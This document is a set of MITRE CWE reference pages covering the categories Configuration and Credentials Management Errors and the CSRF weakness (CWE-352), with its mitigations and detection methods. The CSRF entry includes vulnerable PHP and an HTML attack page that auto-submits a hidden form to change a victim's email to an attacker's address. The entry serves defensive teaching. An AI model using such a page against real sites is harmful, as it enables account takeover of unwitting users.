2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, References, Research_Gaps, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Observed_Examples, References
2022-04-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Race Conditions
2010-12-13Race Condition

CWE CATEGORY: Configuration

Category ID: 16
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are typically introduced during the configuration of the software.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.933OWASP Top Ten 2013 Category A5 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1032OWASP Top Ten 2017 Category A6 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves [REF-1287]. This CWE entry may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016). Mapping is also Prohibited because this entry's status is Obsolete.

Comments:

As of CWE 4.9, "Configuration" is beginning to be treated as an aspect of the SDLC in which a product is directed (by a human or automated process) to perform an insecure behavior. CWE mapping should be conducted by analyzing the weakness in the behavior that has been set by the configuration, such as those related to access control (descendants of CWE-284) or resource management (CWE-400), etc.
+ Notes

Maintenance

Further discussion about this category was held over the CWE Research mailing list in early 2020. No definitive action has been decided.

Maintenance

This entry is a Category, but various sources map to it anyway, despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" sounds more like a Weakness in CWE's style, but it still does not indicate actual behavior of the product. Further research is still required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.
+ References
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Maintenance_Notes, Relationships
2017-11-08CWE Content TeamMITRE
updated Detection_Factors
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Maintenance_Notes, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Maintenance_Notes, References
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: Credentials Management Errors

Category ID: 255
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the management of credentials.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).699Software Development
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.256Plaintext Storage of a Password
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.257Storing Passwords in a Recoverable Format
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.260Password in Configuration File
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.261Weak Encoding for Password
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.262Not Using Password Aging
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.263Password Aging with Long Expiration
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.324Use of a Key Past its Expiration Date
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.521Weak Password Requirements
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.523Unprotected Transport of Credentials
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.549Missing Password Field Masking
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.620Unverified Password Change
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.640Weak Password Recovery Mechanism for Forgotten Password
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.916Use of Password Hash With Insufficient Computational Effort
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1392Use of Default Credentials
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016).

Comments:

Some weakness-oriented alternatives might be found under Improper Authentication (CWE-287) or keyword searches for credentials.
+ References
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-02-16CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Name, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2020-02-24Credentials Management

CWE-352: Cross-Site Request Forgery (CSRF)

Weakness ID: 352 (Structure: Composite)Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.
+ Composite Components
NatureTypeIDName
RequiresClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.346Origin Validation Error
RequiresClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.441Unintended Proxy or Intermediary ('Confused Deputy')
RequiresClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.642External Control of Critical State Data
RequiresBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.613Insufficient Session Expiration
+ Extended Description
When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.
+ Alternate Terms
Session Riding
Cross Site Reference Forgery
XSRF
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Non-Repudiation
Access Control

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism; Read Application Data; Modify Application Data; DoS: Crash, Exit, or Restart

The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]

Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]

Phase: Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Phase: Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Note: Note that this can be bypassed using XSS (CWE-79).

Phase: Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Note: Note that this can be bypassed using XSS (CWE-79).

Phase: Architecture and Design

Use the "double-submitted cookie" method as described by Felten and Zeller:

When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.

Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.

This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]

Note: Note that this can probably be bypassed using XSS (CWE-79), or when using web technologies that enable the attacker to read raw headers from HTTP requests.

Phase: Architecture and Design

Do not use the GET method for any request that triggers a state change.

Phase: Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
Note: Note that this can be bypassed using XSS (CWE-79). An attacker could use XSS to generate a spoofed Referer, or to generate a malicious request from a page whose Referer would be allowed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.1275Sensitive Cookie with Improper SameSite Attribute
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

(bad code)
Example Language: HTML 
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
<input type="submit" name="submit" value="Update"/>
</form>

profile.php contains the following code.

(bad code)
Example Language: PHP 
// initiate the session in order to validate sessions

session_start();

//if the session is registered to a valid user then allow update

if (! session_is_registered("username")) {

echo "invalid session detected!";

// Redirect user to login page
[...]

exit;
}

// The user session is valid, so process the request

// and update the information

update_profile();

function update_profile {

// read in the data from $POST and send an update

// to the database
SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
[...]
echo "Your profile has been successfully updated.";
}

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

(attack code)
Example Language: HTML 
<SCRIPT>
function SendAttack () {
form.email = "attacker@example.com";
// send to profile.php
form.submit();
}
</SCRIPT>

<BODY onload="javascript:SendAttack();">

<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.


+ Observed Examples
ReferenceDescription
Add user accounts via a URL in an img tag
Add user accounts via a URL in an img tag
Arbitrary code execution by specifying the code in a crafted img tag or URL
Gain administrative privileges via a URL in an img tag
Delete a victim's information via a URL or an img tag
Change another user's settings via a URL or an img tag
Perform actions as administrator via a URL or an img tag
modify password for the administrator
CMS allows modification of configuration via CSRF attack against the administrator
web interface allows password changes or stopping a virtual machine via CSRF
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.

Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis

CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

Effectiveness: Limited

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: SOAR Partial

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.716OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.814OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.936OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Other

Rationale:

This is a well-known Composite of multiple weaknesses that must all occur simultaneously, although it is attack-oriented in nature.

Comments:

While attack-oriented composites are supported in CWE, they have not been a focus of research. There is a chance that future research or CWE scope clarifications will change or deprecate them. Perform root-cause analysis to determine if other weaknesses allow CSRF attacks to occur, and map to those weaknesses. For example, predictable CSRF tokens might allow bypass of CSRF protection mechanisms; if this occurs, they might be better characterized as randomness/predictability weaknesses.
+ Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Theoretical

The CSRF topology is multi-channel:

  • Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
  • Intermediary (as user) to server (as victim). The activation point is an internal channel.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCross-Site Request Forgery (CSRF)
OWASP Top Ten 2007A5ExactCross Site Request Forgery (CSRF)
WASC9Cross-site Request Forgery
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 37. McGraw-Hill. 2010.
[REF-329] Peter W. "Cross-Site Request Forgeries (Re: The Dangers of Allowing Users to Post Images)". Bugtraq. <http://marc.info/?l=bugtraq&m=99263135911884&w=2>.
[REF-330] OWASP. "Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet". <http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet>.
[REF-331] Edward W. Felten and William Zeller. "Cross-Site Request Forgeries: Exploitation and Prevention". 2008-10-18. <https://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.147.1445>. URL validated: 2023-04-07.
[REF-332] Robert Auger. "CSRF - The Cross-Site Request Forgery (CSRF/XSRF) FAQ". <https://www.cgisecurity.com/csrf-faq.html>. URL validated: 2023-04-07.
[REF-333] "Cross-site request forgery". Wikipedia. 2008-12-22. <https://en.wikipedia.org/wiki/Cross-site_request_forgery>. URL validated: 2023-04-07.
[REF-334] Jason Lam. "Top 25 Series - Rank 4 - Cross Site Request Forgery". SANS Software Security Institute. 2010-03-03. <http://software-security.sans.org/blog/2010/03/03/top-25-series-rank-4-cross-site-request-forgery>.
[REF-335] Jeff Atwood. "Preventing CSRF and XSRF Attacks". 2008-10-14. <https://blog.codinghorror.com/preventing-csrf-and-xsrf-attacks/>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-956] Wikipedia. "Samy (computer worm)". <https://en.wikipedia.org/wiki/Samy_(computer_worm)>. URL validated: 2018-01-16.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Description, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Theoretical_Notes
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-20Tom Stracener
Added demonstrative example for profile.
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, Time_of_Introduction
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
